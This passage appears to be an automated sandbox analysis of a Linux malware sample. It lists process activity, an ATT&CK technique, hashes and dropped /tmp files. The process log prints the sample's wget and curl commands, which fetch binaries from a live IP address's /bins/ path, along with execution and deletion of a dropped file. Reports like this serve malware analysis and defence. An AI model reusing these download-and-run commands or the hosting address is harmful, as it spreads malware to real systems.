  ./NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE

Path /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	740	DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	747	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	753	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	776	qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	800	Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	819	j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	833	6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	861	tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	867	19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	873	UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	879	2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	885	NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	891	4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	897	EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	903	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	909	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	915	qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	921	Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	927	j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	933	6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	939	tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	945	19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	951	UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	957	2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	963	NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ